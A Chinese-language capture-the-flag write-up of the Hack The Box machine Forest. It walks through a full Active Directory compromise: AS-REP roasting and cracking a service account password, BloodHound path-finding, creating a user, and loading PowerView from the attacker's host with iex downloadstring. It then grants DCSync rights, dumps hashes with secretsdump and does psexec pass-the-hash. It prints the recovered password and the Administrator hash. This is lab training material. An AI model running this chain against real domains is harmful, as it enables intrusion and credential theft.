这个easy好像是标错了?我看评分Medium的比Easy多。。。。Orz
一、知识点
- AD域渗透提取
- HoundBlood猎犬寻找最短路径
- Kerberos预身份验证风险
- Hash离线爆破
- PTH传递攻击
- DCSync攻击
二、信息搜集
Nmap先嗦一口nmap -sS -sC -sV -Pn 10.10.10.161
,探测结果如下
1 | Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-31 15:41 CST |
发现存在smb和ldap服务,这两者都可以探测先,可以先使用smbclent
去看看,发现是啥也没有的,然后开启MSF看看有无MS17漏洞
也显然是没有的
三、Ldap匿名访问
因此思路放回ldap服务,既然开启了的话,是非常值得试一下有没有开启匿名访问的
根据nmap探测出的结果可以知道域名为htb.local
ldapsearch -H ldap://10.10.10.161:389 -x -b "dc=htb,dc=local"
-x 简单验证,也就是anoymous匿名访问
-b 指定筛选条件
四、离线哈希爆破
茫茫人海可以瞟到svc-alfresco这个用户,google检索一波alfresco可以发现有趣的东西:
Process Services is an enterprise Business Process Management (BPM) solution targeted at business people and developers. At its core is a high performance open-source business process engine based on Activiti with the flexibility and scalability to handle a wide variety of critical processes. Process Services provides a powerful suite of end user tools and integrates with a range of enterprise systems, including Alfresco Content Services, Box and Google Drive.
Process Services 是一种针对业务人员和开发人员的企业业务流程管理 (BPM) 解决方案。 其核心是基于 Activiti 的高性能开源业务流程引擎,具有处理各种关键流程的灵活性和可扩展性。 Process Services 提供了一套功能强大的最终用户工具,并与一系列企业系统集成,包括 Alfresco Content Services、Box 和 Google Drive。
这个服务对应的用户需要关闭kerberos的身份预验证服务
有关kerberos协议的内容请自行去查看,网上很多,这个也是域渗透的基础
当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。
使用这个工具包下的模块获取TGT票据:https://github.com/fortra/impacket
拿到kali后在setup.py文件所在地先pip install .
将py文件全部变为模块,以后就可以直接xx.py
使用GetNPUsers.py htb.local/svc-alfresco -dc-ip 10.10.10.161 -no-pass
获取到票据后保存到文件
1 | [email protected]:ea889f8edb24751d735ffda00e6cff9f$534acd4d2abb6a071348a94f5263de0b6b0e46232fd890baabbca96b6ffe14941b61429c33581169c4ded4054d100acb6329ff4dbe2b8acfb8236896e79a549fd92803281118fa9df252883ca317fae2785f2a61337a68f12649b5bb646e1945503cc11dff113cb01e896189e233f6d05fdb85fe789f924cb890bae08cbac29b3062696df1c1cc0d909777ea54d94d5d8d0a22b4bdc18cefe2bb6f6b397c1856e42dfcbc9af2185c6d964464baa1d9b24634c37ab129b827798aeb60478235577ab44c9565fa4c1621da0a630c662a66173872ae74660114688a1964107c52ef7961d4ff47e6 |
随之用john工具对其进行rockjohn hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
由于john有缓存
可以看到密码为s3rvice
知道用户的密码后就好说了,直接上evil-winrm
去远程连接即可 evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
随后在desktop下发现user.txt,至此获取user权限
五、AD域渗透权限提升
这个我觉得也是全篇最难的地方,也是知识点最多的地方。。
(1)BloodHound信息搜集
FirstofAll,windows权限提升是有一款专门的工具叫做猎犬:BloodHound
这个工具和tabby对标,tabby是找链子,BloodHound则是找最短获得System权限的路径,他们都是基于neo4j数据库进行逻辑分析的
这里首推kali中的bloodhound-python
,运行pip install bloodhound
之后使用bloodhound-python -d htb.local -usvc-alfresco -p s3rvice
去手机信息
-d domain
-u username
-p password
收集完毕后会产生json结果数据:
随后我们需要做的是准备BloodHound的GUI界面,这个在windows中使用,他就是tabby,用来分析导入的json数据的,这个我们在github上也有开源的项目
https://github.com/BloodHoundAD/BloodHound/releases
安装win32-64的,安装完毕后解压出现BloodHound.exe
运行,再此之前你需要安装neo4j数据库,默认的username(数据库)和password是neo4j/neo4j
之后就会出现GUI界面:
(我导入过数据了)
首先导入刚刚收集到的json文件:
点击这个上传按钮将你的json文件全部提交上传
之后数据库info就会更新
随后我们查找一下我们已有用户svc-alfresco
相关信息:
(2)信息分析
可以看到unrolled group Membership
这可以让你展开与它有关的用户组和用户,点击之后可以发现
关系和权限写的明明白白,我们重点需要关注PRIVILEGED IT ACCOUNTS
,你可以理解为这个组有ROOT权限,然后注意有个ACCOUTN OPERATION
用户组,也就是可以对账户进行创建和修改的用户组
然后点击Shorest way to high target寻找最短路径
可以发现EXCHANGE WINDOWS PERMISSONS
用户组是具有WriteDacl
的权限
WriteDacl 允许委托人修改受影响对象 DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl 是在链中启用其他权利的权利。
当前拥有 WriteDacl 权限,没有 DCSync 权限。可以自己写入DCSync权限(下面会讲),然后dump管理员的hash,最后进行PTH票据传递攻击
(3)创建一个恶意用户
https://www.freebuf.com/articles/web/308202.html
分析好了就开始实操,回到我们的evil-winrm,首先利用ACCOUNT OPERATION的权限去创建一个新的用户
1 | *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user boogipop abc123! /add /domain |
这样用户就创建完毕了,之后利用WriteDacl权限去给我们用户所在组加权限,这里就得用到另外一个工具了
在其中的Recon模块中有个Powerview.ps1模块,这个模块可以协助我们进行权限赋予
首先在自己的机子上开python服务准备这个文件,然后再winrm中导入iex(new-Object net.webclient).downloadstring('[http://10.10.16.3:8000/PowerView.ps1')](http://10.10.16.3:8000/PowerView.ps1'))
导入之后运行menu
可以发现模块增加
首先定义2个变量$pass=convertto-securestring 'abc123!' -asplain -force
$cred=new-object system.management.automation.pscredential('htb\boogipop',$pass)
其中Add-ObjectACL模块可以添加DCSync权限Add-ObjectACL -PrincipalIdentity boogipop -Credential $cred -Rights DCSync
(4)DCSync攻击导出管理员hash
DCSync攻击原理
DCSync 的原理非常清晰,利用域控制器之间的数据同步复制。发现网络中的目标域控制器;
通过 DRS 服务的 GetNCChanges 接口发起数据同步请求,Directory Replication Service (DRS) Remote Protocol
Samba wiki 关于 GetNCChanges 的描述包括:
当一个 DC (客户端 DC)想从其他 DC (服务端 DC)获取数据时,客户端 DC 会向服务端 DC 发起一个 GetNCChanges 请求。回应的数据包括需要同步的数据。
如果需要同步的数据比较多,则会重复上述过程。毕竟每次回应的数据有限。
主打一个数据同步
一个用户想发起 DCSync 攻击,必须获得以下任一用户的权限:
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
上述过程中我们直接创建了一个有Sync权限的用户,因此接下来该做的解释导出管理员hash,这里还是使用impacket包下的一个模块secretsdump
secretsdump.py htb/[email protected]
之后可以获取所域中所有用户的hash,包括admin的
1 | htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6::: |
可以发现admin的hash
(5)PTH票据传递获取Root
最后通过PTH攻击即可获取root权限,这里使用的也是该工具包中的模块psexec
psexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
获取system权限。
最后也是在desktop中获取root.txt
拿下~
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.